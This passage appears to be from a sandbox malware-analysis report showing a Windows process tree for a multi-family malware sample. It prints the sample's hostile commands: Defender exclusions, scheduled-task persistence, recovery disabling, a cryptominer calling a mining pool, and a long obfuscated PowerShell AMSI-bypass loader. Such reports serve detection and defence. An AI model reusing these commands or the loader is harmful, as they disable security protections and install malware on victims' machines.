  - Looks for VMWare Tools registry key
  - Executes dropped EXE
  PID:1700
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 1700 -s 412
    3⤵
    PID:2952

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:696

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-3d53470e-a294-4fa9-a5fd-1ca89e5d3da9 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-9ce5b411-e1b4-4db1-ac41-c0db6f8d898d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-fbddf7cc-4d21-4a15-ba2d-11354aca0b9a -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-4868ef47-8367-4ec1-8216-79b2817234c8 -LifetimeId:c3694dd9-1807-4368-9e99-674910adc999 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:392

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1132
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:732

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1212

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1268

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1472
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1820

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1900

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:2012

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2060

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2072

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2236

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2272

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2540

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2580

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2880

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2800

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3192
- C:\Users\Admin\AppData\Local\Temp\2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-05-22_d33d1f1105347ed96da7c4fd226833f3_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4732
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2288
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1656
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3768
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C reagentc /disable
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4220
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:2784
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4996
  - - C:\Windows\system32\takeown.exe
      takeown /F "C:\Windows\System32\reagentc.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:3968
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4940
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3092
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:580
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:952
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1208
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1728
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1992
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1480
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4320
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /hibernate off
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4012
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3208
  - - C:\Windows\system32\PING.EXE
      ping -n 1 -w 1000 8.8.8.8
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4788
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:3360
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2768
  - - C:\Users\Admin\AppData\Local\Temp\tAAqpMId.exe
      "C:\Users\Admin\AppData\Local\Temp\tAAqpMId.exe"
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2116
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
    3⤵
    - Badlisted process makes network request
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2552
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5028

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3320

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3368

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3708

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3760

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3844

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:1960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1196

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:996

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3152

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1300

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3100

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2508

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4664
- C:\Windows\system32\WerFault.exe
  C:\Windows\system32\WerFault.exe -pss -s 476 -p 1700 -ip 1700
  2⤵
  PID:3772

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:TktTMdUEEDnQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YzwdQGtJzVbDfo,[Parameter(Position=1)][Type]$ZzusLGYqjt)$YzoUUbTrsuB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+'l'+''+'e'+''+[Char](99)+'t'+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+'e'+'m'+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+'o'+'d'+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+'l'+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+'Sea'+[Char](108)+''+[Char](101)+'d'+','+'A'+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+'C'+[Char](108)+''+'a'+'s'+'s'+'',[MulticastDelegate]);$YzoUUbTrsuB.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+'g'+','+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$YzwdQGtJzVbDfo).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+'n'+'a'+''+'g'+''+[Char](101)+'d');$YzoUUbTrsuB.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'','Pub'+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+'eBy'+'S'+'ig'+[Char](44)+'N'+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+'al',$ZzusLGYqjt,$YzwdQGtJzVbDfo).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $YzoUUbTrsuB.CreateType();}$DVUwBacIIzAMK=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+'e'+[Char](109)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+'s'+'oft.'+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+'U'+'n'+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$hspwZMrwEFRtvg=$DVUwBacIIzAMK.GetMethod(''+[Char](71)+''+'e'+'tP'+'r'+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+'r'+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+'a'+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$makPDaliSihvjBIWaYb=TktTMdUEEDnQ @([String])([IntPtr]);$gasjUeONVTfTQNcErdccFm=TktTMdUEEDnQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mTapBeuWcqW=$DVUwBacIIzAMK.GetMethod('G'+'e'+''+'t'+'Mod'+'u'+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+'e'+''+'l'+''+'3'+'2'+'.'+''+[Char](100)+'l'+[Char](108)+'')));$aaktCsBbXtLXpP=$hspwZMrwEFRtvg.Invoke($Null,@([Object]$mTapBeuWcqW,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+'i'+[Char](98)+''+'r'+'aryA')));$jSflaZjXuJjJZWkcu=$hspwZMrwEFRtvg.Invoke($Null,@([Object]$mTapBeuWcqW,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+'r'+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$PFOmifa=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aaktCsBbXtLXpP,$makPDaliSihvjBIWaYb).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$aKFACKSIdJqlGxVhh=$hspwZMrwEFRtvg.Invoke($Null,@([Object]$PFOmifa,[Object]('Am'+'s'+'i'+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$oRFWSkbzcg=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jSflaZjXuJjJZWkcu,$gasjUeONVTfTQNcErdccFm).Invoke($aKFACKSIdJqlGxVhh,[uint32]8,4,[ref]$oRFWSkbzcg);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](121+10),[Byte](189+3),[Byte](219-219),[Byte](78+106),[Byte](103-16),[Byte](221-221),[Byte](238-231),[Byte](217-89),[Byte](61+76),[Byte](207+3),[Byte](3+192),[Byte](94+43),[Byte](30+180)),0,$aKFACKSIdJqlGxVhh,177-164);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jSflaZjXuJjJZWkcu,$gasjUeONVTfTQNcErdccFm).Invoke($aKFACKSIdJqlGxVhh,[uint32]8,0x20,[ref]$oRFWSkbzcg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue('$SH'+[Char](115)+''+'t'+''+[Char](97)+'g'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:3728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:TktTMdUEEDnQ{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$YzwdQGtJzVbDfo,[Parameter(Position=1)][Type]$ZzusLGYqjt)$YzoUUbTrsuB=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+'l'+''+'e'+''+[Char](99)+'t'+[Char](101)+'d'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+'e'+'m'+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+''+'o'+'d'+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+'l'+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+'Sea'+[Char](108)+''+[Char](101)+'d'+','+'A'+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+'C'+[Char](108)+''+'a'+'s'+'s'+'',[MulticastDelegate]);$YzoUUbTrsuB.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+'a'+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+'g'+','+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$YzwdQGtJzVbDfo).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+'a'+'n'+'a'+''+'g'+''+[Char](101)+'d');$YzoUUbTrsuB.DefineMethod('I'+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'','Pub'+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+'d'+'eBy'+'S'+'ig'+[Char](44)+'N'+[Char](101)+''+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+'al',$ZzusLGYqjt,$YzwdQGtJzVbDfo).SetImplementationFlags(''+'R'+''+[Char](117)+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $YzoUUbTrsuB.CreateType();}$DVUwBacIIzAMK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('Sy'+[Char](115)+''+[Char](116)+'e'+[Char](109)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+''+'r'+''+[Char](111)+''+'s'+'oft.'+[Char](87)+''+'i'+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+''+'U'+'n'+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+'i'+[Char](118)+''+'e'+''+[Char](77)+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$hspwZMrwEFRtvg=$DVUwBacIIzAMK.GetMethod(''+[Char](71)+''+'e'+'tP'+'r'+''+[Char](111)+''+[Char](99)+''+'A'+''+[Char](100)+''+[Char](100)+'r'+[Char](101)+'ss',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+'a'+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$makPDaliSihvjBIWaYb=TktTMdUEEDnQ @([String])([IntPtr]);$gasjUeONVTfTQNcErdccFm=TktTMdUEEDnQ @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mTapBeuWcqW=$DVUwBacIIzAMK.GetMethod('G'+'e'+''+'t'+'Mod'+'u'+''+[Char](108)+''+[Char](101)+'H'+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+'e'+''+'l'+''+'3'+'2'+'.'+''+[Char](100)+'l'+[Char](108)+'')));$aaktCsBbXtLXpP=$hspwZMrwEFRtvg.Invoke($Null,@([Object]$mTapBeuWcqW,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+'L'+'i'+[Char](98)+''+'r'+'aryA')));$jSflaZjXuJjJZWkcu=$hspwZMrwEFRtvg.Invoke($Null,@([Object]$mTapBeuWcqW,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+''+'P'+'r'+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+[Char](116)+'')));$PFOmifa=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aaktCsBbXtLXpP,$makPDaliSihvjBIWaYb).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'');$aKFACKSIdJqlGxVhh=$hspwZMrwEFRtvg.Invoke($Null,@([Object]$PFOmifa,[Object]('Am'+'s'+'i'+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$oRFWSkbzcg=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jSflaZjXuJjJZWkcu,$gasjUeONVTfTQNcErdccFm).Invoke($aKFACKSIdJqlGxVhh,[uint32]8,4,[ref]$oRFWSkbzcg);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](121+10),[